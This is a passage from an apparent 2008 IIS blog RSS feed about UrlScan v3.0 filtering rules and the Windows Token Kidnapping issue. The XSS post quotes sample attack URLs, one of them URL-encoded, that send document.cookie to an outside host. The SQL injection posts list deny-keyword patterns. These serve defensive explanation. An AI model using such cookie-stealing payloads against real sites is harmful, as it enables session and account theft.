    &lt;SPAN class=kwrd&gt;return&lt;/SPAN&gt; &lt;SPAN class=str&gt;"("&lt;/SPAN&gt; + Int32ToHRESULT( objError.number) + &lt;SPAN class=str&gt;")"&lt;/SPAN&gt; + &lt;SPAN class=str&gt;": "&lt;/SPAN&gt; +
           objError.description;
}&lt;/PRE&gt;&lt;/BLOCKQUOTE&gt;
&lt;STYLE type=text/css&gt;
.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }&lt;/STYLE&gt;

&lt;STYLE type=text/css&gt;
.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }&lt;/STYLE&gt;

&lt;P&gt;I haven't thoroughly tested it, so if you find any bugs, let me know. You can also easily modify this script to add it to ALL sites on the server if need be.&lt;/P&gt;&lt;img src="http://blogs.iis.net/aggbug.aspx?PostID=2680894" width="1" height="1"&gt;</description><category domain="http://blogs.iis.net/nazim/archive/tags/UrlScan/default.aspx">UrlScan</category><category domain="http://blogs.iis.net/nazim/archive/tags/IIS6/default.aspx">IIS6</category><category domain="http://blogs.iis.net/nazim/archive/tags/IIS7/default.aspx">IIS7</category><category domain="http://blogs.iis.net/nazim/archive/tags/IIS5X/default.aspx">IIS5X</category><category domain="http://blogs.iis.net/nazim/archive/tags/HTTP/default.aspx">HTTP</category></item><item><title>Token Kidnapping in Windows</title><link>http://blogs.iis.net/nazim/archive/2008/10/14/token-kidnapping-in-windows.aspx</link><pubDate>Mon, 13 Oct 2008 23:02:00 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:2680243</guid><dc:creator>naziml</dc:creator><slash:comments>48</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.iis.net/nazim/rsscomments.aspx?PostID=2680243</wfw:commentRss><comments>http://blogs.iis.net/nazim/archive/2008/10/14/token-kidnapping-in-windows.aspx#comments</comments><description>&lt;BLOCKQUOTE&gt;
&lt;H3&gt;&lt;FONT color=#008080&gt;Microsoft has just released MS09-012 to address this issue in it’s entirety. Get further details &lt;/FONT&gt;&lt;A href="http://blogs.iis.net/nazim/archive/2009/04/17/token-kidnapping-fixed.aspx"&gt;&lt;FONT color=#008080&gt;here&lt;/FONT&gt;&lt;/A&gt;&lt;FONT color=#008080&gt;.&lt;/FONT&gt;&lt;/H3&gt;&lt;/BLOCKQUOTE&gt;
&lt;P mce_keep="true"&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;You have probably heard about the &lt;A href="http://nomoreroot.blogspot.com/2008/10/windows-2003-poc-exploit-for-token.html" mce_href="http://nomoreroot.blogspot.com/2008/10/windows-2003-poc-exploit-for-token.html"&gt;Token Kidnapping vulnerability&lt;/A&gt; in Windows and read &lt;A href="http://www.microsoft.com/technet/security/advisory/951306.mspx" mce_href="http://www.microsoft.com/technet/security/advisory/951306.mspx"&gt;Microsoft's security advisory&lt;/A&gt; on it and are wondering why there isn’t an update for this yet. Although this is not an IIS issue but a Windows issue, the fact that IIS can be used as a vector for this vulnerability increases my concern for seeing an update for this soon. But obviously that does not assuage concerns of our customers and so in the interest of transparency I thought it would be prudent to explain the issue, what the update would do and why it is taking time. Just to make it absolutely clear … Microsoft is going to release an update to address this issue, and the workarounds mentioned in the &lt;A href="http://www.microsoft.com/technet/security/advisory/951306.mspx" mce_href="http://www.microsoft.com/technet/security/advisory/951306.mspx"&gt;advisory&lt;/A&gt; are still applicable and help mitigate the issue. In the case of IIS, some of these “workarounds” are actually recommended best practices.&lt;/P&gt;
&lt;H1&gt;&lt;FONT color=#c68b4a&gt;The issue&lt;/FONT&gt;&lt;/H1&gt;
&lt;P&gt;Before there were service accounts, there was &lt;A href="http://msdn.microsoft.com/en-us/library/ms684190.aspx" mce_href="http://msdn.microsoft.com/en-us/library/ms684190.aspx"&gt;LocalSystem&lt;/A&gt; and it was too highly privileged to host un-trusted code, no matter how much we try to sandbox it. So we implemented service accounts like &lt;A href="http://msdn.microsoft.com/en-us/library/ms684272(VS.85).aspx" mce_href="http://msdn.microsoft.com/en-us/library/ms684272(VS.85).aspx"&gt;NetworkService&lt;/A&gt; that did not have all the privileges possessed by the LocalSystem account and a lot of products and features embraced the idea of running under this identity for several reasons. For the sake of simplicity let’s split the users of this feature into 2 buckets, both being valid uses. &lt;/P&gt;
&lt;P&gt;1. &lt;B&gt;Isolating un-trusted code.&lt;/B&gt; &lt;BR&gt;Some products like Internet Information Services (IIS) need the ability to host un-trusted user code running inside their worker processes. In the case of a buffer overrun or any other error, we would like to ensure that the user code does not have high enough privileges to affect the entire system and are sufficiently sand-boxed by the worker process identity. &lt;/P&gt;
&lt;P&gt;2. &lt;B&gt;Following &lt;/B&gt;&lt;A href="https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351-BSI.html" mce_href="https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351-BSI.html"&gt;least privilege&lt;/A&gt;&lt;B&gt; practices. &lt;/B&gt;&lt;BR&gt;Other products followed the practices of least privilege to harden the security of their features.&lt;/P&gt;
&lt;P&gt;These service accounts need a &lt;A href="http://support.microsoft.com/kb/821546" mce_href="http://support.microsoft.com/kb/821546"&gt;client impersonation privilege&lt;/A&gt; (SeImpersonatePrivilege), so that the process or service can run as a specific authenticated user if need be. The act of “impersonation” leaves a “token” that identifies this authenticated user in the process or service. The two valid uses above have different characteristics though. The first would not expect privileged users like Administrators to be impersonated while the second might be prone to it. This leaves us with a scenario where 2 different processes / services running as the same service account identity would have very different sort of tokens in them. In some cases these tokens may be long-lived or it would be easy to perform an action that would result in a privileged token being acquired by a process or service. Also, these different processes and services are not wholly isolated from each other in every case. The combination of these two factors gives rise to an issue where an un-trusted code being hosted in a process running with a service account identity (say in group 1 above) would now be able to access a privileged token from a process running with the same service account identity (likely in group 2 above) leading to an elevation of privilege.&lt;/P&gt;
&lt;P&gt;You can read more about this in the finder’s document on&amp;nbsp; &lt;A href="http://www.argeniss.com/research/TokenKidnapping.pdf"&gt;http://www.argeniss.com/research/TokenKidnapping.pdf&lt;/A&gt;&lt;/P&gt;
&lt;H1&gt;&lt;FONT color=#c68b4a&gt;The change&lt;/FONT&gt;&lt;/H1&gt;
&lt;P&gt;There are different levels at which changes would be needed to address this issue. &lt;/P&gt;
&lt;P&gt;1. &lt;B&gt;Service isolation.&lt;/B&gt; &lt;BR&gt;The first issue to address is to make sure that two services running with the same identity not be able to access each other’s tokens freely. This concern has been mostly addressed with &lt;A href="http://technet.microsoft.com/en-us/magazine/cc162523.aspx" mce_href="http://technet.microsoft.com/en-us/magazine/cc162523.aspx"&gt;service hardening&lt;/A&gt; done in Windows Vista and above. There are some minor changes that would need to be done to strengthen service hardening to close some gaps identified during our investigation of this issue. &lt;/P&gt;
&lt;P&gt;2. &lt;B&gt;Processes running as service accounts.&lt;/B&gt; &lt;BR&gt;There are cases where the service hardening work done above does not apply. In these cases changes need to be made to prevent processes from holding on to privileged tokens or from being induced to acquire one by unprivileged means.&lt;/P&gt;
&lt;H1&gt;&lt;FONT color=#c68b4a&gt;The difficulty&lt;/FONT&gt;&lt;/H1&gt;
&lt;P mce_keep="true"&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;Both the changes above come with their own set of challenges.&lt;/P&gt;
&lt;P&gt;1. &lt;B&gt;Service isolation.&lt;/B&gt;&lt;/P&gt;
&lt;P&gt;The changes required for to address concerns in this space need to occur at a very low level in the OS. As a result, it has a high impact on the system and requires rigorous testing on the part of multiple teams within Microsoft. &lt;/P&gt;2. &lt;B&gt;Processes running as service accounts.&lt;/B&gt; &lt;BR&gt;
&lt;P&gt;The changes required here are even more complex, mostly because of design decisions and dependencies by various other components on the component in question. Software engineers read “design” and “dependencies” in the statement above and wince … and rightfully so. Even if the issue does not pervade a lot of components (as is the case here) and affects just one component that a lot of other components depend on, or if the issue is ingrained in the design of the component, the changes required are difficult to engineer. Not impossible, just difficult. And the impact of any of these changes would be pervasive and would require coordination between several different teams at Microsoft to address. These teams are going through great lengths at identifying these components, making sure the fixes are adequate and not just a band-aid and testing every component to make sure that no undesired behavior is introduced in the process. &lt;/P&gt;
&lt;H1&gt;&lt;FONT color=#c68b4a&gt;Conclusion&lt;/FONT&gt;&lt;/H1&gt;
&lt;P&gt;Microsoft is committed to providing a comprehensive and high quality update with minimal user impact for this issue. The nature of this issue requires thoroughness on our part for issuing an update. The workarounds provided in the advisory are still applicable in mitigating the issue.&lt;/P&gt;&lt;img src="http://blogs.iis.net/aggbug.aspx?PostID=2680243" width="1" height="1"&gt;</description><category domain="http://blogs.iis.net/nazim/archive/tags/IIS6/default.aspx">IIS6</category><category domain="http://blogs.iis.net/nazim/archive/tags/Windows+Security/default.aspx">Windows Security</category><category domain="http://blogs.iis.net/nazim/archive/tags/HTTP/default.aspx">HTTP</category></item><item><title>UrlScan v3.0 RTW Released</title><link>http://blogs.iis.net/nazim/archive/2008/08/19/urlscan-v3-0-rtw-released.aspx</link><pubDate>Tue, 19 Aug 2008 20:58:00 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:2567736</guid><dc:creator>naziml</dc:creator><slash:comments>24</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.iis.net/nazim/rsscomments.aspx?PostID=2567736</wfw:commentRss><comments>http://blogs.iis.net/nazim/archive/2008/08/19/urlscan-v3-0-rtw-released.aspx#comments</comments><description>&lt;P&gt;About 2 months ago we released the &lt;A href="http://blogs.iis.net/wadeh/archive/2008/06/24/urlscan-v3-0-beta-release.aspx" mce_href="http://blogs.iis.net/wadeh/archive/2008/06/24/urlscan-v3-0-beta-release.aspx"&gt;beta for UrlScan v3.0&lt;/A&gt; to address customer concerns with &lt;A href="http://blogs.iis.net/bills/archive/2008/04/25/sql-injection-attacks-on-iis-web-servers.aspx" mce_href="http://blogs.iis.net/bills/archive/2008/04/25/sql-injection-attacks-on-iis-web-servers.aspx"&gt;automated SQL injection attacks&lt;/A&gt; and we have been busy since refining it with the help of our customers, community and MVPs. You can download the bits at the links below.&lt;/P&gt;
&lt;P&gt;&lt;A href="http://www.iis.net/go/1697" mce_href="http://www.iis.net/go/1697"&gt;UrlScan v3.0 RTW for x86&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;&lt;A href="http://www.iis.net/go/1698" mce_href="http://www.iis.net/go/1698"&gt;UrlScan v3.0 RTW for x64&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;You can also check out the updated walkthroughs for UrlScan v3.0 that covers the new features since Beta.&lt;/P&gt;
&lt;P&gt;&lt;A href="http://learn.iis.net/page.aspx/473/using-urlscan" mce_href="http://learn.iis.net/page.aspx/473/using-urlscan"&gt;Using UrlScan&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;&lt;A href="http://learn.iis.net/page.aspx/475/urlscan-setup/" mce_href="http://learn.iis.net/page.aspx/475/urlscan-setup/"&gt;UrlScan Setup&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;&lt;A href="http://learn.iis.net/page.aspx/476/common-urlscan-scenarios/" mce_href="http://learn.iis.net/page.aspx/476/common-urlscan-scenarios/"&gt;Common UrlScan Scenarios&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;&lt;A href="http://learn.iis.net/page.aspx/477/urlscan-faq/" mce_href="http://learn.iis.net/page.aspx/477/urlscan-faq/"&gt;UrlScan FAQs&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;Here is a summary of the feature additions to UrlScan v3.0 RTW&lt;/P&gt;
&lt;P&gt;&lt;STRONG&gt;&lt;U&gt;1) W3C formatted logging.&lt;/U&gt;&lt;/STRONG&gt;&lt;/P&gt;
&lt;P&gt;UrlScan v3.0 RTW has W3C formatted logs so that analyzing log files is more accessible by writing queries against them using Log Parser. The following are the fields in the new log format with a brief description.&lt;/P&gt;
&lt;P&gt;&lt;STRONG&gt;Date:&lt;/STRONG&gt; Date of incoming request &lt;BR&gt;&lt;STRONG&gt;Time:&lt;/STRONG&gt; UTC time for incoming request &lt;BR&gt;&lt;STRONG&gt;c-ip:&lt;/STRONG&gt; Client IP address &lt;BR&gt;&lt;STRONG&gt;s-siteid:&lt;/STRONG&gt; SiteID for the site that processed the request &lt;BR&gt;&lt;STRONG&gt;cs-method:&lt;/STRONG&gt; Method (verb) of incoming request &lt;BR&gt;&lt;STRONG&gt;cs-uri&lt;/STRONG&gt;: URI of incoming request, including query string &lt;BR&gt;&lt;STRONG&gt;x-action:&lt;/STRONG&gt; Action performed by UrlScan. Either rejected or logged &lt;BR&gt;&lt;STRONG&gt;x-reason:&lt;/STRONG&gt; Reason for UrlScan check being triggered. &lt;BR&gt;&lt;STRONG&gt;x-context:&lt;/STRONG&gt; Portion of request this check is applicable to, e.g. URL, query string etc &lt;BR&gt;&lt;STRONG&gt;cs-data:&lt;/STRONG&gt; Data in the request that triggered the UrlScan check&amp;nbsp; &lt;BR&gt;&lt;STRONG&gt;x-control:&lt;/STRONG&gt; UrlScan configuration data that caused the UrlScan check to trigger&lt;/P&gt;
&lt;P&gt;&lt;STRONG&gt;&lt;U&gt;2) Allow rules for URLs and query strings&lt;/U&gt;&lt;/STRONG&gt;&lt;/P&gt;
&lt;P&gt;UrlScan v3.0 RTW gives you the ability to specify a "safe" list of URLs and query strings that will by pass all UrlScan checks. This gives administrators the ability to configure UrlScan to allow certain URLs that would otherwise trigger a UrlScan check.&lt;/P&gt;
&lt;P mce_keep="true"&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;Here is the &lt;A href="http://blogs.iis.net/nazim/archive/2008/06/24/using-the-new-rules-configuration-in-urlscan-v3-0-beta-part-1.aspx" mce_href="http://blogs.iis.net/nazim/archive/2008/06/24/using-the-new-rules-configuration-in-urlscan-v3-0-beta-part-1.aspx"&gt;link to my blog&lt;/A&gt; when UrlScan v3.0 Beta was release&lt;/P&gt;&lt;img src="http://blogs.iis.net/aggbug.aspx?PostID=2567736" width="1" height="1"&gt;</description><category domain="http://blogs.iis.net/nazim/archive/tags/UrlScan/default.aspx">UrlScan</category><category domain="http://blogs.iis.net/nazim/archive/tags/IIS6/default.aspx">IIS6</category><category domain="http://blogs.iis.net/nazim/archive/tags/IIS7/default.aspx">IIS7</category><category domain="http://blogs.iis.net/nazim/archive/tags/HTTP/default.aspx">HTTP</category></item><item><title>Using the new rules configuration in UrlScan v3.0 Beta (Part 2)</title><link>http://blogs.iis.net/nazim/archive/2008/06/30/using-the-new-rules-configuration-in-urlscan-v3-0-beta-part-2.aspx</link><pubDate>Mon, 30 Jun 2008 20:41:00 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:2457686</guid><dc:creator>naziml</dc:creator><slash:comments>26</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.iis.net/nazim/rsscomments.aspx?PostID=2457686</wfw:commentRss><comments>http://blogs.iis.net/nazim/archive/2008/06/30/using-the-new-rules-configuration-in-urlscan-v3-0-beta-part-2.aspx#comments</comments><description>&lt;H3&gt;&lt;FONT color=#008080&gt;Dissecting the SQL injection sample in the walkthrough&lt;/FONT&gt;&lt;/H3&gt;
&lt;P&gt;I will spend some time dissecting the SQL injection rule posted in the walkthrough for UrlScan. Before I do so, I want to re-iterate the fact that &lt;FONT color=#ff0000&gt;&lt;STRONG&gt;SQL injection is a web application issue, and hence the right place to fix it is in the web application&lt;/STRONG&gt;&lt;/FONT&gt;. Sometimes when you are the victim of a SQL storm, it is less than ideal to go figure out all the places your web application might be susceptible. That's where UrlScan comes in and offers a stop gap solution till you can fix the apps, without taking any downtime hit on your site. The one issue here is that of false positives ... and these are hard to predict because different web applications have different requirements and semantics. Nonetheless, UrlScan can offer substantial protection in the face of a SQL Storm at the cost of a some false positives that will cause valid requests to be rejected.&lt;/P&gt;
&lt;BLOCKQUOTE&gt;
&lt;P&gt;&lt;FONT color=#800080&gt;&lt;STRONG&gt;[SQL Injection] &lt;BR&gt;&lt;/STRONG&gt;AppliesTo=.asp,.aspx &lt;BR&gt;DenyDataSection=SQL Injection Strings &lt;BR&gt;ScanUrl=0 &lt;BR&gt;ScanAllRaw=0 &lt;BR&gt;ScanQueryString=1 &lt;BR&gt;ScanHeaders= &lt;BR&gt;&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT color=#800080&gt;&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT color=#800080&gt;&lt;STRONG&gt;[SQL Injection Strings] &lt;BR&gt;&lt;/STRONG&gt;-- &lt;BR&gt;%3b ; a semicolon &lt;BR&gt;/* &lt;BR&gt;@ ; also catches @@ &lt;BR&gt;char ; also catches nchar and varchar &lt;BR&gt;alter &lt;BR&gt;begin &lt;BR&gt;cast &lt;BR&gt;create &lt;BR&gt;cursor &lt;BR&gt;declare &lt;BR&gt;delete &lt;BR&gt;drop &lt;BR&gt;end &lt;BR&gt;exec ; also catches execute &lt;BR&gt;fetch &lt;BR&gt;insert &lt;BR&gt;kill &lt;BR&gt;open &lt;BR&gt;select &lt;BR&gt;sys ; also catches sysobjects and syscolumns &lt;BR&gt;table &lt;BR&gt;update &lt;BR&gt;&lt;/FONT&gt;&lt;/P&gt;&lt;/BLOCKQUOTE&gt;
&lt;P&gt;So this is the first bit. Notice that the only thing we are scanning here is the query string, not the URL or any headers. This will give us a little more leeway with our strings list. But even so, there are a lot of chances for false positives. For example if were to have "podcast" in my query string, I would trip the filter because of "cast". So the best thing to do is copy this over and do quick testing to make sure your apps still work. The other thing to do is keep an eye on the log files to see what it is catching.&lt;/P&gt;
&lt;P&gt;The obvious gap in the rule above is the fact that the only thing I am checking is the query string. What about the rest of the request? The parts of interest for SQL injection really depend on your web application ... but there are definitely some headers that seem important, like the Cookie header (popular candidate for script injection as well).&lt;/P&gt;
&lt;BLOCKQUOTE&gt;
&lt;P&gt;&lt;FONT color=#800080&gt;&lt;STRONG&gt;[SQL Injection Headers]&lt;/STRONG&gt; &lt;BR&gt;AppliesTo=.asp,.aspx &lt;BR&gt;DenyDataSection=SQL Injection Headers Strings &lt;BR&gt;ScanUrl=0 &lt;BR&gt;ScanAllRaw=0 &lt;BR&gt;ScanQueryString=0 &lt;BR&gt;ScanHeaders=Cookie: &lt;BR&gt;&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT color=#800080&gt;&lt;STRONG&gt;[SQL Injection Headers Strings]&lt;/STRONG&gt; &lt;BR&gt;-- &lt;BR&gt;@ ; also catches @@ &lt;BR&gt;alter &lt;BR&gt;cast &lt;BR&gt;convert &lt;BR&gt;create &lt;BR&gt;declare &lt;BR&gt;delete &lt;BR&gt;drop &lt;BR&gt;exec ; also catches execute &lt;BR&gt;fetch &lt;BR&gt;insert &lt;BR&gt;kill &lt;BR&gt;select&lt;/FONT&gt;&lt;/P&gt;&lt;/BLOCKQUOTE&gt;
&lt;P&gt;For folks who have been following this, you will notice that an older version was looking at ScanAllRaw. Even with a trimmed down list, there were a lot of things breaking. Like /* with the Accept-Encoding header and 'cast' in User-Agent strings that had things like 'broadcast'. So I followed my own advice and reduced the scope a little more.&lt;/P&gt;
&lt;P&gt;Another part of the request that folks missed was the request entity, but the explanation for that deviated from this topic sufficiently to warrant its own blog &lt;A href="http://blogs.iis.net/nazim/archive/2008/06/30/urlscan-v3-0-filtering-based-on-request-entity.aspx" mce_href="http://blogs.iis.net/nazim/archive/2008/06/30/urlscan-v3-0-filtering-based-on-request-entity.aspx"&gt;here&lt;/A&gt;.&lt;/P&gt;&lt;img src="http://blogs.iis.net/aggbug.aspx?PostID=2457686" width="1" height="1"&gt;</description><category domain="http://blogs.iis.net/nazim/archive/tags/SQL+injection/default.aspx">SQL injection</category><category domain="http://blogs.iis.net/nazim/archive/tags/UrlScan/default.aspx">UrlScan</category><category domain="http://blogs.iis.net/nazim/archive/tags/IIS6/default.aspx">IIS6</category><category domain="http://blogs.iis.net/nazim/archive/tags/IIS7/default.aspx">IIS7</category><category domain="http://blogs.iis.net/nazim/archive/tags/HTTP/default.aspx">HTTP</category></item><item><title>UrlScan v3.0 filtering based on Request Entity</title><link>http://blogs.iis.net/nazim/archive/2008/06/30/urlscan-v3-0-filtering-based-on-request-entity.aspx</link><pubDate>Mon, 30 Jun 2008 20:21:00 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:2457646</guid><dc:creator>naziml</dc:creator><slash:comments>12</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.iis.net/nazim/rsscomments.aspx?PostID=2457646</wfw:commentRss><comments>http://blogs.iis.net/nazim/archive/2008/06/30/urlscan-v3-0-filtering-based-on-request-entity.aspx#comments</comments><description>&lt;P&gt;While some folks are rejoicing, others are noticing the lack of scanning for the request entity. Why would we do that? The easy answer is that this is just not possible with an ISAPI filter. In IIS 5 and earlier, there is no API that would allow us to filter request entity, so request entity will never happen there.&amp;nbsp; In IIS 6, the APIs exist to do this via * script maps, but the performance would be pretty bad.&amp;nbsp; Also, there is no mechanism to treat the request as a stream, so there would be potential memory utilization problems. So we left it at that and said "can't do it, sorry".&lt;/P&gt;
&lt;P&gt;But then you ask, "what about the request filtering module in IIS7"? Theoretically the IIS7 module APIs certainly let you analyze the request entity, so it is certainly possible. One of our current tasks is to bring the request filtering module up to par (feature-wise) with UrlScan v3.0 and then we can consider answering this complex problem. Yes, don't let this fool you ... analyzing request entity is a complex problem that has consequences for both performance and security. There is a multitude of things you need to account for here: compression/encryption, custom serialization, signature split between multiple POSTs, memory pressure due to entity buffering for POST data, etc. By no means are we claiming that this is an impossible task ... just that the cost to benefit ratio for this is low at this point. But we will try to look into this, time permitting. &lt;/P&gt;
&lt;P&gt;Please feel free to send your thoughts/comments ... happy filtering !!&lt;/P&gt;&lt;img src="http://blogs.iis.net/aggbug.aspx?PostID=2457646" width="1" height="1"&gt;</description><category domain="http://blogs.iis.net/nazim/archive/tags/UrlScan/default.aspx">UrlScan</category><category domain="http://blogs.iis.net/nazim/archive/tags/IIS6/default.aspx">IIS6</category><category domain="http://blogs.iis.net/nazim/archive/tags/IIS7/default.aspx">IIS7</category><category domain="http://blogs.iis.net/nazim/archive/tags/HTTP/default.aspx">HTTP</category></item><item><title>Using the new rules configuration in UrlScan v3.0 Beta (Part 1)</title><link>http://blogs.iis.net/nazim/archive/2008/06/24/using-the-new-rules-configuration-in-urlscan-v3-0-beta-part-1.aspx</link><pubDate>Tue, 24 Jun 2008 19:51:00 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:2444228</guid><dc:creator>naziml</dc:creator><slash:comments>11</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.iis.net/nazim/rsscomments.aspx?PostID=2444228</wfw:commentRss><comments>http://blogs.iis.net/nazim/archive/2008/06/24/using-the-new-rules-configuration-in-urlscan-v3-0-beta-part-1.aspx#comments</comments><description>&lt;P&gt;If you haven't noticed already, UrlScan v3.0 Beta is out and it is the answer to all your prayers. Well maybe not all, but it still is nifty. UrlScan 2.5 is widely used and is quite popular. There were a few minor issues with it that were all fixed for UrlScan 3.0. But besides those UrlScan now has the ability to filter based on query strings as well and a new rules syntax lets you specify powerful rules and lets you stay organized while you are at it. &lt;/P&gt;
&lt;P&gt;I thought I would take some time to write some sample rules for common scenarios that people would like to filter, but instead decided to dissect our defaults and the little sample for SQL injection that we put up on the &lt;A href="http://learn.iis.net/page.aspx/476/common-urlscan-scenarios" mce_href="http://learn.iis.net/page.aspx/476/common-urlscan-scenarios"&gt;walkthrough&lt;/A&gt; for the Beta.&lt;/P&gt;
&lt;H3&gt;&lt;FONT color=#008080&gt;Cross site scripting&lt;/FONT&gt;&lt;/H3&gt;
&lt;P&gt;There has been a lot of discussion about XSS and it falls into the same bucket as SQL injection in the fact that this is not a server/product vulnerability. It is an application issue just like SQL injection. CGISecurity has a nice little FAQ on XSS &lt;A href="http://www.cgisecurity.com/articles/xss-faq.shtml" mce_href="http://www.cgisecurity.com/articles/xss-faq.shtml"&gt;here&lt;/A&gt; and iDefense has a decent whitepaper &lt;A href="http://www.cgisecurity.com/lib/XSS.pdf" mce_href="http://www.cgisecurity.com/lib/XSS.pdf"&gt;here&lt;/A&gt;. There are quite a few advanced papers on XSS evasion and static XSS detection in applications, but like all things in life, simple is usually good. &lt;/P&gt;
&lt;P&gt;Most XSS attacks will pass in script where the application does not expect it. Here are some samples of what a XSS attack might look like from the CGISecurity FAQ linked above.&lt;/P&gt;
&lt;P&gt;&lt;FONT color=#800080&gt;http://host/a.php?variable="&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document.cookie&amp;lt;/script&amp;gt;&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;Notice the similarity to SQL injection? The variable query string parameter is pre-emptively terminated and a bunch of script goo is added. Folks can get a little more devious and encode the query string like below so it's not easily identified.&lt;/P&gt;
&lt;P&gt;&lt;FONT color=#800080&gt;http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;The pattern that should jump out at you is the &amp;lt;script&amp;gt; tag, but how do I accurately detect it in the cases where I might have it encoded or have to deal with arbitrary whitespaces like &amp;lt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; script&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;gt; ? The new default urlscan.ini contains a rule in it to protect against these sort of patterns and the rule is just simply:&lt;/P&gt;
&lt;P&gt;&lt;FONT color=#800080&gt;[DenyQueryStringSequences]&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT color=#800080&gt;&amp;lt;&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT color=#800080&gt;&amp;gt;&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;Simply put it just disallows angle brackets in the query string and if you think about the myriad web applications out there today, not many have legitimate use of either the '&amp;lt;' or the '&amp;gt;' character on the query string. Along with the above section, the default configuration also has the following set:&lt;/P&gt;
&lt;P&gt;&lt;FONT color=#800080&gt;[Options]&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT color=#800080&gt;UnescapeQueryString=1&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;What this does is that it will check sequences in both the raw and the un-escaped version of the query string. So now even the second example above for XSS would be caught by the default rule.&lt;/P&gt;
&lt;P&gt;Read the &lt;A href="http://blogs.iis.net/nazim/archive/2008/06/30/using-the-new-rules-configuration-in-urlscan-v3-0-beta-part-2.aspx" mce_href="http://blogs.iis.net/nazim/archive/2008/06/30/using-the-new-rules-configuration-in-urlscan-v3-0-beta-part-2.aspx"&gt;next post&lt;/A&gt; in the series and watch me dissect the sample SQL injection rule in the &lt;A href="http://learn.iis.net/page.aspx/476/common-urlscan-scenarios" mce_href="http://learn.iis.net/page.aspx/476/common-urlscan-scenarios"&gt;walkthrough&lt;/A&gt; posted.&lt;/P&gt;&lt;img src="http://blogs.iis.net/aggbug.aspx?PostID=2444228" width="1" height="1"&gt;</description><category domain="http://blogs.iis.net/nazim/archive/tags/UrlScan/default.aspx">UrlScan</category><category domain="http://blogs.iis.net/nazim/archive/tags/IIS6/default.aspx">IIS6</category><category domain="http://blogs.iis.net/nazim/archive/tags/IIS7/default.aspx">IIS7</category></item></channel></rss>